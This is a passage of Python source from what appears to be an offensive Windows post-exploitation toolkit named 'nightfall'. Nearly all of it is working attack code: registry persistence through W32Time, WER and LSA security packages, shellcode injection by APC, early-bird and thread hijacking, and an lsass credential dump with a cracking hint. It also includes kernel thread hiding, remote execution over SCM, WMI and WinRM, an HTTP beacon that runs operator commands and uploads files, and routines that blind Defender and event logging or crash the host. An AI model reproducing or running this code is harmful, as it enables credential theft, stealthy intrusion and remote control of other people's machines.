        except Exception:
            print("[-] clip-c2: user32 not available")
            return None

        self._clip_set_text(marker + cmd)
        print(f"[+] clip-c2: command posted to clipboard")

        for _ in range(20):
            time.sleep(0.5)
            try:
                if u32.OpenClipboard(None):
                    h = u32.GetClipboardData(13)
                    if h:
                        k32.GlobalLock.restype = ctypes.c_void_p
                        ptr = k32.GlobalLock(h)
                        if ptr:
                            text = ctypes.wstring_at(ptr)
                            k32.GlobalUnlock(h)
                            if text.startswith(resp_marker):
                                u32.CloseClipboard()
                                output = text[len(resp_marker):]
                                print(output, end='')
                                return output
                    u32.CloseClipboard()
            except Exception:
                try:
                    u32.CloseClipboard()
                except Exception:
                    pass

        print("[-] clip-c2: no response (timeout)")
        return None

    def persist_timeprov(self, dll_path, name="W32TimeSync"):
        if not self._check_admin():
            print("[-] timeprov: requires admin")
            return False

        full_path = os.path.abspath(dll_path)
        if not os.path.exists(full_path):
            print(f"[-] timeprov: {full_path} not found")
            return False

        key_path = f"SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\{name}"
        hkey = wt.HANDLE()
        disp = wt.DWORD()
        status = adv.RegCreateKeyExW(
            0x80000002, key_path, 0, None, 0, KEY_ALL_ACCESS,
            None, ctypes.byref(hkey), ctypes.byref(disp))
        if status != 0:
            print(f"[-] timeprov: RegCreateKeyExW failed ({status})")
            return False

        dll_w = full_path.encode('utf-16-le') + b'\x00\x00'
        adv.RegSetValueExW(hkey, "DllName", 0, REG_SZ,
                           dll_w, len(dll_w))

        enabled = 1
        adv.RegSetValueExW(hkey, "Enabled", 0, REG_DWORD,
                           ctypes.byref(wt.DWORD(enabled)), 4)

        input_prov = 1
        adv.RegSetValueExW(hkey, "InputProvider", 0, REG_DWORD,
                           ctypes.byref(wt.DWORD(input_prov)), 4)

        adv.RegCloseKey(hkey)

        def _remove():
            dk = wt.HANDLE()
            adv.RegOpenKeyExW(0x80000002,
                              "SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders",
                              0, KEY_ALL_ACCESS, ctypes.byref(dk))
            adv.RegDeleteKeyW = adv.RegDeleteKeyW
            adv.RegDeleteKeyW.argtypes = [wt.HANDLE, ctypes.c_wchar_p]
            adv.RegDeleteKeyW.restype = wt.LONG
            adv.RegDeleteKeyW(dk, name)
            adv.RegCloseKey(dk)

        print(f"[+] timeprov: registry keys written for W32Time provider '{name}'")
        print(f"    DLL: {full_path}")
        print("    W32Time will attempt to load this DLL at next boot")
        print("    DLL must export TimeProvOpen/TimeProvCommand/TimeProvClose")
        self._track("persistence", f"time provider {name}",
                    _remove)
        return True

    def persist_timeprov_remove(self, name="W32TimeSync"):
        key_path = "SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders"
        hkey = wt.HANDLE()
        status = adv.RegOpenKeyExW(0x80000002, key_path, 0,
                                    KEY_ALL_ACCESS, ctypes.byref(hkey))
        if status != 0:
            print(f"[-] timeprov: can't open TimeProviders key ({status})")
            return False
        adv.RegDeleteKeyW = adv.RegDeleteKeyW
        adv.RegDeleteKeyW.argtypes = [wt.HANDLE, ctypes.c_wchar_p]
        adv.RegDeleteKeyW.restype = wt.LONG
        status = adv.RegDeleteKeyW(hkey, name)
        adv.RegCloseKey(hkey)
        if status == 0:
            print(f"[+] timeprov: '{name}' removed")
            return True
        print(f"[-] timeprov: removal failed ({status})")
        return False

    def persist_wer(self, dll_path):
        if not self._check_admin():
            print("[-] wer-persist: requires admin")
            return False

        full_path = os.path.abspath(dll_path)
        if not os.path.exists(full_path):
            print(f"[-] wer-persist: {full_path} not found")
            return False

        key_path = "SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\RuntimeExceptionHelperModules"
        hkey = wt.HANDLE()
        disp = wt.DWORD()
        status = adv.RegCreateKeyExW(
            0x80000002, key_path, 0, None, 0, KEY_ALL_ACCESS,
            None, ctypes.byref(hkey), ctypes.byref(disp))
        if status != 0:
            print(f"[-] wer-persist: RegCreateKeyExW failed ({status})")
            return False

        empty = wt.DWORD(0)
        adv.RegSetValueExW(hkey, full_path, 0, REG_DWORD,
                           ctypes.byref(empty), 4)
        adv.RegCloseKey(hkey)

        def _remove():
            rk = wt.HANDLE()
            adv.RegOpenKeyExW(0x80000002, key_path, 0,
                              KEY_ALL_ACCESS, ctypes.byref(rk))
            adv.RegDeleteValueW(rk, full_path)
            adv.RegCloseKey(rk)

        print(f"[+] wer-persist: registry value written for WER handler")
        print(f"    DLL: {full_path}")
        print("    WerFault.exe will load this DLL when an application crashes")
        print("    DLL must implement the WER runtime exception helper interface")
        self._track("persistence", f"WER handler {full_path}",
                    _remove)
        return True

    def persist_wer_remove(self, dll_path):
        full_path = os.path.abspath(dll_path)
        key_path = "SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\RuntimeExceptionHelperModules"
        hkey = wt.HANDLE()
        status = adv.RegOpenKeyExW(0x80000002, key_path, 0,
                                    KEY_ALL_ACCESS, ctypes.byref(hkey))
        if status != 0:
            print(f"[-] wer-persist: can't open key ({status})")
            return False
        status = adv.RegDeleteValueW(hkey, full_path)
        adv.RegCloseKey(hkey)
        if status == 0:
            print(f"[+] wer-persist: handler removed")
            return True
        print(f"[-] wer-persist: removal failed ({status})")
        return False

    def persist_ssp(self, dll_path, name=None):
        if not self._check_admin():
            print("[-] ssp: requires admin")
            return False

        full_path = os.path.abspath(dll_path)
        if not os.path.exists(full_path):
            print(f"[-] ssp: {full_path} not found")
            return False

        if name is None:
            name = os.path.splitext(os.path.basename(full_path))[0]

        sys32 = os.path.join(os.environ["SYSTEMROOT"], "System32")
        dest = os.path.join(sys32, os.path.basename(full_path))
        if not os.path.exists(dest):
            try:
                shutil.copy2(full_path, dest)
            except Exception as e:
                print(f"[-] ssp: copy to System32 failed: {e}")
                return False

        key_path = "SYSTEM\\CurrentControlSet\\Control\\Lsa"
        hkey = wt.HANDLE()
        status = adv.RegOpenKeyExW(0x80000002, key_path, 0,
                                    KEY_ALL_ACCESS, ctypes.byref(hkey))
        if status != 0:
            print(f"[-] ssp: can't open LSA key ({status})")
            return False

        buf = (ctypes.c_byte * 4096)()
        size = wt.DWORD(4096)
        dtype = wt.DWORD()
        adv.RegQueryValueExW(hkey, "Security Packages", None,
                              ctypes.byref(dtype), buf, ctypes.byref(size))

        existing = bytes(buf[:size.value]).decode('utf-16-le', errors='ignore')
        packages = [p for p in existing.split('\x00') if p]

        if name not in packages:
            packages.append(name)

        new_val = '\x00'.join(packages) + '\x00\x00'
        new_bytes = new_val.encode('utf-16-le')
        REG_MULTI_SZ = 7
        adv.RegSetValueExW(hkey, "Security Packages", 0, REG_MULTI_SZ,
                           new_bytes, len(new_bytes))
        adv.RegCloseKey(hkey)

        def _remove():
            rk = wt.HANDLE()
            adv.RegOpenKeyExW(0x80000002, key_path, 0,
                              KEY_ALL_ACCESS, ctypes.byref(rk))
            rb = (ctypes.c_byte * 4096)()
            rs = wt.DWORD(4096)
            rd = wt.DWORD()
            adv.RegQueryValueExW(rk, "Security Packages", None,
                                  ctypes.byref(rd), rb, ctypes.byref(rs))
            ex = bytes(rb[:rs.value]).decode('utf-16-le', errors='ignore')
            pkgs = [p for p in ex.split('\x00') if p and p != name]
            nv = '\x00'.join(pkgs) + '\x00\x00'
            nb = nv.encode('utf-16-le')
            adv.RegSetValueExW(rk, "Security Packages", 0, 7,
                               nb, len(nb))
            adv.RegCloseKey(rk)
            try:
                os.remove(dest)
            except Exception:
                pass

        print(f"[+] ssp: added '{name}' to LSA Security Packages list")
        print(f"    DLL: {dest}")
        print("    lsass.exe will attempt to load this DLL at next boot")
        print("    DLL must implement SpLsaModeInitialize and SSP/AP interface")
        print("    credential capture depends on the DLL's SSP implementation")
        self._track("persistence", f"SSP {name}",
                    _remove)
        return True

    def persist_ssp_remove(self, name):
        key_path = "SYSTEM\\CurrentControlSet\\Control\\Lsa"
        hkey = wt.HANDLE()
        status = adv.RegOpenKeyExW(0x80000002, key_path, 0,
                                    KEY_ALL_ACCESS, ctypes.byref(hkey))
        if status != 0:
            print(f"[-] ssp: can't open LSA key ({status})")
            return False

        buf = (ctypes.c_byte * 4096)()
        size = wt.DWORD(4096)
        dtype = wt.DWORD()
        adv.RegQueryValueExW(hkey, "Security Packages", None,
                              ctypes.byref(dtype), buf, ctypes.byref(size))

        existing = bytes(buf[:size.value]).decode('utf-16-le', errors='ignore')
        packages = [p for p in existing.split('\x00') if p and p != name]

        new_val = '\x00'.join(packages) + '\x00\x00'
        new_bytes = new_val.encode('utf-16-le')
        adv.RegSetValueExW(hkey, "Security Packages", 0, 7,
                           new_bytes, len(new_bytes))
        adv.RegCloseKey(hkey)

        sys32 = os.path.join(os.environ["SYSTEMROOT"], "System32")
        dll_path = os.path.join(sys32, name + ".dll")
        try:
            os.remove(dll_path)
        except Exception:
            pass
        print(f"[+] ssp: '{name}' removed from Security Packages")
        return True

    def sleep_obfuscate(self, addr, size, duration=5, key=None):
        if key is None:
            key = os.urandom(1)[0] or 0x42

        buf = (ctypes.c_byte * size)()
        ctypes.memmove(buf, addr, size)
        original = bytes(buf)

        encrypted = bytes(b ^ key for b in original)
        ctypes.memmove(addr, encrypted, size)

        old_prot = wt.DWORD()
        k32.VirtualProtect(addr, size, PAGE_READWRITE, ctypes.byref(old_prot))

        self._sleep_obf_regions.append({
            "addr": addr, "size": size, "key": key, "prot": old_prot.value
        })

        TIMER_CB = ctypes.WINFUNCTYPE(None, ctypes.c_void_p, wt.BOOL)

        region_ref = {"addr": addr, "size": size, "key": key, "prot": old_prot.value}

        @TIMER_CB
        def wake_cb(param, fired):
            a = region_ref["addr"]
            s = region_ref["size"]
            k = region_ref["key"]
            p = region_ref["prot"]
            rb = (ctypes.c_byte * s)()
            ctypes.memmove(rb, a, s)
            decrypted = bytes(b ^ k for b in bytes(rb))
            old = wt.DWORD()
            k32.VirtualProtect(a, s, p, ctypes.byref(old))
            ctypes.memmove(a, decrypted, s)

        self._timer_cb_refs.append(wake_cb)

        if not self._timer_queue:
            self._timer_queue = k32.CreateTimerQueue()

        timer_handle = wt.HANDLE()
        k32.CreateTimerQueueTimer(
            ctypes.byref(timer_handle), self._timer_queue,
            wake_cb, None, duration * 1000, 0, WT_EXECUTEDEFAULT)
        self._timer_handles.append(timer_handle)

        print(f"[+] sleep-obf: {size} bytes encrypted at 0x{addr:X}")
        print(f"    protection changed RWX -> RW (non-executable)")
        print(f"    XOR key: 0x{key:02X} | wake timer: {duration}s")
        print("    executable page encrypted, but Python heap may retain copies")
        print("    reduces surface for page-scanning, not a forensic guarantee")
        return True

    def sleep_obf_region(self, shellcode_path, duration=10):
        with open(shellcode_path, 'rb') as f:
            sc = f.read()

        mem = k32.VirtualAlloc(None, len(sc), MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE)
        if not mem:
            print("[-] sleep-obf: VirtualAlloc failed")
            return False

        ctypes.memmove(mem, sc, len(sc))
        print(f"[+] sleep-obf: shellcode loaded at 0x{mem:X} ({len(sc)} bytes)")

        return self.sleep_obfuscate(mem, len(sc), duration)

    def thread_hide(self, pid=None, tid=None):
        if not self._byovd_handle:
            print("[-] thread-hide: load a vuln driver first (byovd-load)")
            return False

        if pid is None:
            pid = os.getpid()

        result = self._find_eprocess(pid)
        if not result:
            print(f"[-] thread-hide: EPROCESS for PID {pid} not found")
            return False

        eprocess, links_off = result
        pid_off = links_off - 8

        thread_list_off = None
        for off in [0x5E0, 0x5A0, 0x560, 0x530, 0x480]:
            flink_lo = self._kr(eprocess + off, 4)
            flink_hi = self._kr(eprocess + off + 4, 4)
            flink = (flink_lo | (flink_hi << 32)) if flink_lo else 0

            if flink and (flink >> 44) >= 0xFFFFF and flink != (eprocess + off):
                blink_lo = self._kr(eprocess + off + 8, 4)
                blink_hi = self._kr(eprocess + off + 12, 4)
                blink = (blink_lo | (blink_hi << 32)) if blink_lo else 0
                if blink and (blink >> 44) >= 0xFFFFF:
                    thread_list_off = off
                    break

        if thread_list_off is None:
            print("[-] thread-hide: can't find ThreadListHead in EPROCESS")
            return False

        head = eprocess + thread_list_off
        head_flink_lo = self._kr(head, 4)
        head_flink_hi = self._kr(head + 4, 4)
        current = (head_flink_lo | (head_flink_hi << 32))

        hidden = 0
        for _ in range(256):
            if current == 0 or current == head:
                break

            if tid is not None:
                cid_off = None
                for toff in [0x478, 0x480, 0x488, 0x450, 0x460]:
                    ethread = current - (thread_list_off - pid_off + 0x4E8 - 0x440)
                    cand_pid = self._kr(ethread + toff, 4)
                    cand_tid = self._kr(ethread + toff + 8, 4)
                    if cand_pid == pid and cand_tid == tid:
                        cid_off = toff
                        break

                if cid_off is None:
                    flink_lo = self._kr(current, 4)
                    flink_hi = self._kr(current + 4, 4)
                    current = (flink_lo | (flink_hi << 32)) if flink_lo else 0
                    continue

            flink_lo = self._kr(current, 4)
            flink_hi = self._kr(current + 4, 4)
            flink = (flink_lo | (flink_hi << 32)) if flink_lo else 0

            blink_lo = self._kr(current + 8, 4)
            blink_hi = self._kr(current + 12, 4)
            blink = (blink_lo | (blink_hi << 32)) if blink_lo else 0

            if flink and blink:
                self._kw(blink, flink_lo, 4)
                self._kw(blink + 4, flink_hi, 4)
                self._kw(flink + 8, blink_lo, 4)
                self._kw(flink + 12, blink_hi, 4)
                hidden += 1

                if tid is not None:
                    break

            flink_lo_next = self._kr(current, 4)
            flink_hi_next = self._kr(current + 4, 4)
            current = (flink_lo_next | (flink_hi_next << 32)) if flink_lo_next else 0

        if hidden:
            if tid:
                print(f"[+] thread-hide: TID {tid} unlinked from KPROCESS.ThreadListHead")
            else:
                print(f"[+] thread-hide: {hidden} threads unlinked for PID {pid}")
            print("    threads still execute but absent from NtQuerySystemInformation")
            print("    thread enumeration via standard APIs will not list them")
            self._track("kernel", f"{hidden} threads hidden for PID {pid}")
        else:
            print(f"[*] thread-hide: no threads found to unlink")
        return hidden > 0

    def _find_pid(self, name):
        name = name.lower()
        snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
        if snap == INVALID_HANDLE:
            return None
        pe = PROCESSENTRY32W()
        pe.dwSize = ctypes.sizeof(PROCESSENTRY32W)
        if not k32.Process32FirstW(snap, ctypes.byref(pe)):
            k32.CloseHandle(snap)
            return None
        while True:
            if pe.szExeFile.lower() == name:
                pid = pe.th32ProcessID
                k32.CloseHandle(snap)
                return pid
            if not k32.Process32NextW(snap, ctypes.byref(pe)):
                break
        k32.CloseHandle(snap)
        return None

    def _find_thread(self, pid):
        snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
        if snap == INVALID_HANDLE:
            return None
        te = THREADENTRY32()
        te.dwSize = ctypes.sizeof(THREADENTRY32)
        if not k32.Thread32First(snap, ctypes.byref(te)):
            k32.CloseHandle(snap)
            return None
        while True:
            if te.th32OwnerProcessID == pid:
                tid = te.th32ThreadID
                k32.CloseHandle(snap)
                return tid
            if not k32.Thread32Next(snap, ctypes.byref(te)):
                break
        k32.CloseHandle(snap)
        return None

    def inject_apc(self, pid, shellcode_path):
        self._enable_privilege("SeDebugPrivilege")
        with open(shellcode_path, 'rb') as f:
            sc = f.read()

        hproc = k32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
        if not hproc:
            print(f"[-] inject-apc: OpenProcess failed ({k32.GetLastError()})")
            return False

        addr = k32.VirtualAllocEx(hproc, None, len(sc),
                                  MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
        if not addr:
            print(f"[-] inject-apc: alloc failed")
            k32.CloseHandle(hproc)
            return False

        written = ctypes.c_size_t()
        k32.WriteProcessMemory(hproc, addr, sc, len(sc), ctypes.byref(written))

        old = wt.DWORD()
        k32.VirtualProtectEx(hproc, addr, len(sc), PAGE_EXECUTE_READ, ctypes.byref(old))

        tid = self._find_thread(pid)
        if not tid:
            print("[-] inject-apc: no thread found")
            k32.CloseHandle(hproc)
            return False

        ht = k32.OpenThread(THREAD_ALL_ACCESS, False, tid)
        if not ht:
            print(f"[-] inject-apc: OpenThread failed")
            k32.CloseHandle(hproc)
            return False

        ok = k32.QueueUserAPC(addr, ht, None)
        print(f"[+] inject-apc: queued {len(sc)} bytes on TID {tid}" if ok
              else "[-] inject-apc: QueueUserAPC failed")
        k32.CloseHandle(ht)
        k32.CloseHandle(hproc)
        return bool(ok)

    def inject_earlybird(self, cmd, shellcode_path):
        self._enable_privilege("SeDebugPrivilege")
        with open(shellcode_path, 'rb') as f:
            sc = f.read()

        si = (ctypes.c_byte * 104)()
        pi = (ctypes.c_byte * 24)()
        struct.pack_into('<I', si, 0, 104)

        ok = k32.CreateProcessW(
            None, cmd, None, None, False,
            CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
            None, None, si, pi)
        if not ok:
            print(f"[-] earlybird: CreateProcess failed ({k32.GetLastError()})")
            return False

        hproc = struct.unpack_from('<Q', pi, 0)[0]
        hthread = struct.unpack_from('<Q', pi, 8)[0]
        pid = struct.unpack_from('<I', pi, 16)[0]

        addr = k32.VirtualAllocEx(hproc, None, len(sc),
                                  MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
        written = ctypes.c_size_t()
        k32.WriteProcessMemory(hproc, addr, sc, len(sc), ctypes.byref(written))

        old = wt.DWORD()
        k32.VirtualProtectEx(hproc, addr, len(sc), PAGE_EXECUTE_READ, ctypes.byref(old))

        k32.QueueUserAPC(addr, hthread, None)
        k32.ResumeThread(hthread)

        print(f"[+] earlybird: {len(sc)} bytes -> PID {pid} ({cmd})")
        k32.CloseHandle(hthread)
        k32.CloseHandle(hproc)
        return True

    def inject_threadhijack(self, pid, shellcode_path):
        self._enable_privilege("SeDebugPrivilege")
        with open(shellcode_path, 'rb') as f:
            sc = f.read()

        hproc = k32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
        if not hproc:
            print(f"[-] hijack: OpenProcess failed")
            return False

        addr = k32.VirtualAllocEx(hproc, None, len(sc),
                                  MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
        written = ctypes.c_size_t()
        k32.WriteProcessMemory(hproc, addr, sc, len(sc), ctypes.byref(written))
        old = wt.DWORD()
        k32.VirtualProtectEx(hproc, addr, len(sc), PAGE_EXECUTE_READ, ctypes.byref(old))

        tid = self._find_thread(pid)
        if not tid:
            print("[-] hijack: no thread")
            k32.CloseHandle(hproc)
            return False

        ht = k32.OpenThread(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT |
                            THREAD_SET_CONTEXT, False, tid)
        if not ht:
            print("[-] hijack: OpenThread failed")
            k32.CloseHandle(hproc)
            return False

        k32.SuspendThread(ht)

        ctx = CONTEXT64()
        ctx.ContextFlags = CONTEXT_FULL
        if not k32.GetThreadContext(ht, ctypes.byref(ctx)):
            print("[-] hijack: GetThreadContext failed")
            k32.ResumeThread(ht)
            k32.CloseHandle(ht)
            k32.CloseHandle(hproc)
            return False

        ctx.Rip = addr
        k32.SetThreadContext(ht, ctypes.byref(ctx))
        k32.ResumeThread(ht)

        print(f"[+] hijack: TID {tid} RIP -> 0x{addr:016X}")
        k32.CloseHandle(ht)
        k32.CloseHandle(hproc)
        return True

    def lsass_dump(self, out_path=None):
        if not dbghelp:
            print("[-] lsass: dbghelp not available")
            return False
        self._enable_privilege("SeDebugPrivilege")
        pid = self._find_pid("lsass.exe")
        if not pid:
            print("[-] lsass: can't find lsass.exe")
            return False
        hproc = k32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
        if not hproc:
            print(f"[-] lsass: OpenProcess failed ({k32.GetLastError()})")
            return False
        if out_path is None:
            out_path = os.path.join(os.environ["TEMP"], "nf_lsass.dmp")
        hfile = k32.CreateFileW(out_path, GENERIC_WRITE, 0, None,
                                CREATE_ALWAYS, 0, None)
        if hfile == INVALID_HANDLE:
            print("[-] lsass: can't create dump file")
            k32.CloseHandle(hproc)
            return False
        ok = dbghelp.MiniDumpWriteDump(hproc, pid, hfile,
                                       MiniDumpWithFullMemory,
                                       None, None, None)
        k32.CloseHandle(hfile)
        k32.CloseHandle(hproc)
        if ok:
            sz = os.path.getsize(out_path) // (1024 * 1024)
            print(f"[+] lsass: dumped to {out_path} ({sz} MB)")
            print("    crack with: pypykatz lsa minidump nf_lsass.dmp")
        else:
            print(f"[-] lsass: MiniDumpWriteDump failed ({k32.GetLastError()})")
        return bool(ok)

    def scm_exec(self, target, cmd, svc_name="NfSvc"):
        hscm = adv.OpenSCManagerW(target, None, SC_MANAGER_ALL_ACCESS)
        if not hscm:
            print(f"[-] scm: OpenSCManager failed on {target} ({k32.GetLastError()})")
            return False
        bin_path = f"cmd.exe /c {cmd}"
        hsvc = adv.CreateServiceW(
            hscm, svc_name, svc_name, SERVICE_ALL_ACCESS,
            SERVICE_WIN32_OWN, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
            bin_path, None, None, None, None, None)
        if not hsvc:
            err = k32.GetLastError()
            if err == 1073:
                hsvc = ctypes.windll.advapi32.OpenServiceW(hscm, svc_name,
                                                           SERVICE_ALL_ACCESS | DELETE)
            if not hsvc:
                print(f"[-] scm: CreateService failed ({err})")
                adv.CloseServiceHandle(hscm)
                return False

        adv.StartServiceW(hsvc, 0, None)
        print(f"[+] scm: started '{svc_name}' on {target or 'localhost'}")

        adv.DeleteService(hsvc)
        adv.CloseServiceHandle(hsvc)
        adv.CloseServiceHandle(hscm)
        return True

    def wmi_exec(self, target, cmd):
        wmic = f'wmic /node:"{target}" process call create "{cmd}"'
        r = subprocess.run(wmic, shell=True, capture_output=True, text=True, timeout=30)
        if r.returncode == 0 and "ReturnValue = 0" in r.stdout:
            print(f"[+] wmi: executed on {target}")
            return True
        print(f"[-] wmi: failed on {target}")
        return False

    def winrm_exec(self, target, cmd):
        ps = f'Invoke-Command -ComputerName {target} -ScriptBlock {{ {cmd} }}'
        r = subprocess.run(
            ["powershell", "-NoProfile", "-c", ps],
            capture_output=True, text=True, timeout=30)
        if r.returncode == 0:
            print(f"[+] winrm: {target}")
            if r.stdout.strip():
                for line in r.stdout.strip().splitlines()[:20]:
                    print(f"  {line}")
            return True
        print(f"[-] winrm: {r.stderr.strip()[:200]}")
        return False

    def _winhttp_request(self, method, url, data=None):
        if not winhttp:
            return None
        from urllib.parse import urlparse
        u = urlparse(url)
        port = u.port or (443 if u.scheme == 'https' else 80)
        flags = 0x00800000 if u.scheme == 'https' else 0

        hsession = winhttp.WinHttpOpen(
            "Mozilla/5.0", WINHTTP_ACCESS_TYPE_DEFAULT, None, None, 0)
        if not hsession:
            return None
        hconn = winhttp.WinHttpConnect(hsession, u.hostname, port, 0)
        if not hconn:
            winhttp.WinHttpCloseHandle(hsession)
            return None
        hreq = winhttp.WinHttpOpenRequest(
            hconn, method, u.path or "/", None, None, None, flags)
        if not hreq:
            winhttp.WinHttpCloseHandle(hconn)
            winhttp.WinHttpCloseHandle(hsession)
            return None

        if u.scheme == 'https':
            opt = wt.DWORD(0x00003300)
            winhttp.WinHttpSetOption = winhttp.WinHttpSetOption
            try:
                winhttp.WinHttpSetOption(hreq, 31,
                                         ctypes.byref(opt), ctypes.sizeof(opt))
            except Exception:
                pass

        body = data if data else None
        body_len = len(data) if data else 0
        ok = winhttp.WinHttpSendRequest(hreq, None, 0, body, body_len, body_len, None)
        if not ok:
            winhttp.WinHttpCloseHandle(hreq)
            winhttp.WinHttpCloseHandle(hconn)
            winhttp.WinHttpCloseHandle(hsession)
            return None

        winhttp.WinHttpReceiveResponse(hreq, None)
        result = b""
        buf = (ctypes.c_byte * 8192)()
        read = wt.DWORD()
        while True:
            ok = winhttp.WinHttpReadData(hreq, buf, 8192, ctypes.byref(read))
            if not ok or read.value == 0:
                break
            result += bytes(buf[:read.value])

        winhttp.WinHttpCloseHandle(hreq)
        winhttp.WinHttpCloseHandle(hconn)
        winhttp.WinHttpCloseHandle(hsession)
        return result

    def beacon_start(self, url, interval=60, jitter=0.2):
        if self._beacon_active:
            print("[*] beacon: already running")
            return
        self._beacon_active = True
        self._beacon_thread = threading.Thread(
            target=self._beacon_loop, args=(url, interval, jitter), daemon=True)
        self._beacon_thread.start()
        print(f"[+] beacon: checking in to {url} every ~{interval}s")
        self._track("c2", f"beacon -> {url}")

    def beacon_stop(self):
        self._beacon_active = False
        self._beacon_thread = None
        print("[+] beacon: stopped")

    def _beacon_loop(self, url, interval, jitter):
        import random
        while self._beacon_active:
            try:
                resp = self._winhttp_request("GET", url)
                if resp and resp.strip():
                    try:
                        task = json.loads(resp)
                        cmd = task.get("cmd", "")
                        if cmd == "shell":
                            r = subprocess.run(
                                task.get("args", "whoami"),
                                shell=True, capture_output=True, text=True, timeout=30)
                            output = r.stdout + r.stderr
                            self._winhttp_request(
                                "POST", url,
                                json.dumps({"output": output[:8192]}).encode())
                        elif cmd == "download":
                            path = task.get("path", "")
                            if os.path.isfile(path):
                                with open(path, 'rb') as f:
                                    self._winhttp_request("POST", url, f.read())
                        elif cmd == "inject":
                            pid = task.get("pid", 0)
                            sc = base64.b64decode(task.get("sc", ""))
                            tmp = os.path.join(os.environ["TEMP"], "nf_bc.bin")
                            with open(tmp, 'wb') as f:
                                f.write(sc)
                            self.inject_earlybird("notepad.exe", tmp)
                            os.remove(tmp)
                        elif cmd == "exit":
                            self._beacon_active = False
                    except (json.JSONDecodeError, KeyError):
                        pass
            except Exception:
                pass

            delay = interval + random.uniform(-interval * jitter, interval * jitter)
            time.sleep(max(10, delay))

    def blackout(self):
        if not self._check_admin():
            print("[-] blackout needs admin")
            return
        print("[*] BLACKOUT: adding infrastructure to DAM")
        svcs = self._svc_pids("EventLog", "mpssvc", "BFE")
        for name, pid in svcs.items():
            self.dam_add(pid)
        self.dam_freeze()
        self._track("chain", "blackout: dam freeze on infra services",
                    self.dam_unfreeze)
        print("[!] BLACKOUT ACTIVE")

    def restore(self):
        self.dam_unfreeze()

    def scorched(self):
        print("[!] SCORCHED EARTH: this will BSOD the machine")
        try:
            confirm = input("[?] type YES to confirm: ")
        except (EOFError, KeyboardInterrupt):
            print("\n[-] aborted")
            return
        if confirm.strip() != "YES":
            print("[-] aborted")
            return
        print("[!] triggering...")
        self.dam_crash()

    def panopticon(self):
        print("\n=== PHASE 1: PANOPTICON ===")
        if not self._check_admin():
            print("[-] panopticon needs admin, run elevate first")
            return
        self.watch_start()
        self.overwatch_start()
        self._track("chain", "panopticon: etw+overwatch+harvest started")
        print()
        self.harvest_start(interval=30)

    def eclipse(self):
        print("\n=== PHASE 2: ECLIPSE ===")
        if not self._check_admin():
            print("[-] eclipse needs admin")
            return
        n = self.sig_freeze()
        if n:
            self._track("chain", f"eclipse: {n} vdm files locked")
            print("[*] signatures pinned, test payloads against this version")
        ok = self.scan_pause()
        if ok:
            self._track("chain", "eclipse: scan pause active")

    def lazarus(self, path, data_file=None):
        print("\n=== PHASE 3: LAZARUS ===")
        self.zombie(path, data_file)

    def run_harvest(self, ip):
        print("\n=== PHASE 4: HARVEST ===")
        self.ntlm(ip)

    def status(self):
        env = self.detect_env()
        print(f"\n{'=' * 55}")
        print(f"  nightfall v{VERSION} status")
        print(f"{'=' * 55}")
        print(f"  host     : {env.get('hostname', '?')} ({env.get('user', '?')})")
        print(f"  build    : {env.get('build', '?')} {env.get('edition', '?')}")
        print(f"  defender : {env.get('defender', '?')} (sigs {env.get('sigs', '?')})")
        print(f"  integrity: {env.get('integrity', '?')}")
        print(f"  rtp      : {env.get('rtp', '?')} | tamper: {env.get('tamper', '?')}")
        print(f"{'=' * 55}")
        print(f"  sig freeze : {len(self._vdm)} vdm locks")
        print(f"  zombies    : {len(self._zombies)} files")
        for _, _, _, p in self._zombies:
            print(f"               {p}")
        self.zombie_check()
        print(f"  dam handle : {'open' if self._dam else 'closed'}")
        print(f"  etw watch  : {'active' if self._etw_active else 'off'}")
        print(f"  etw events : {len(self._events)}")
        print(f"  harvest    : {'polling' if self._harvest_active else 'idle'}")
        print(f"  overwatch  : {'active' if self._overwatch else 'off'}")
        print(f"  keylogger  : {'active' if self._keylog_active else 'off'}")
        print(f"  hw brkpts  : {len(self._hw_bp_targets)} active")
        print(f"  veh        : {'installed' if self._veh_handle else 'off'}")
        print(f"  byovd      : {'loaded' if self._byovd_handle else 'off'}")
        print(f"  syscall    : {len(self._syscall_stubs)} stubs cached")
        print(f"  beacon     : {'active' if self._beacon_active else 'off'}")
        print(f"  wnf-c2     : {'active' if self._wnf_c2_active else 'off'}")
        print(f"  timers     : {len(self._timer_handles)} active")
        print(f"  inst-cb    : {'installed' if self._inst_cb_installed else 'off'}")
        print(f"  projfs     : {'active' if self._projfs_active else 'off'}")
        print(f"  clip-c2    : {'active' if self._clip_c2_active else 'off'}")
        print(f"  kpool      : {'0x{:016X}'.format(self._kpool_addr) if self._kpool_addr else 'none'}")
        print(f"  sleep-obf  : {len(self._sleep_obf_regions)} regions encrypted")
        print(f"  tracked    : {len(self._modifications)} modifications")
        print(f"{'=' * 55}")

    def cleanup(self):
        self.sig_unfreeze()
        for h, evt, _, path in self._zombies:
            k32.CloseHandle(h)
            k32.CloseHandle(evt)
        if self._zombies:
            print(f"[+] released {len(self._zombies)} zombie handles")
        self._zombies.clear()
        self.harvest_stop() if self._harvest_active else None
        self.overwatch_stop() if self._overwatch else None
        if self._keylog_active:
            self.keylog_stop()
        if self._beacon_active:
            self.beacon_stop()
        self.watch_stop()
        if self._dam:
            k32.CloseHandle(self._dam)
            self._dam = None
        if self._pipe_active:
            self.pipe_stop()
        if self._wnf_c2_active:
            self.wnf_c2_stop()
        if self._timer_queue:
            k32.DeleteTimerQueueEx(self._timer_queue, INVALID_HANDLE)
            self._timer_queue = None
            self._timer_handles.clear()
            self._timer_cb_refs.clear()
        if self._inst_cb_installed:
            self.instrumentation_cb_remove()
        if self._projfs_active:
            self.projfs_stop()
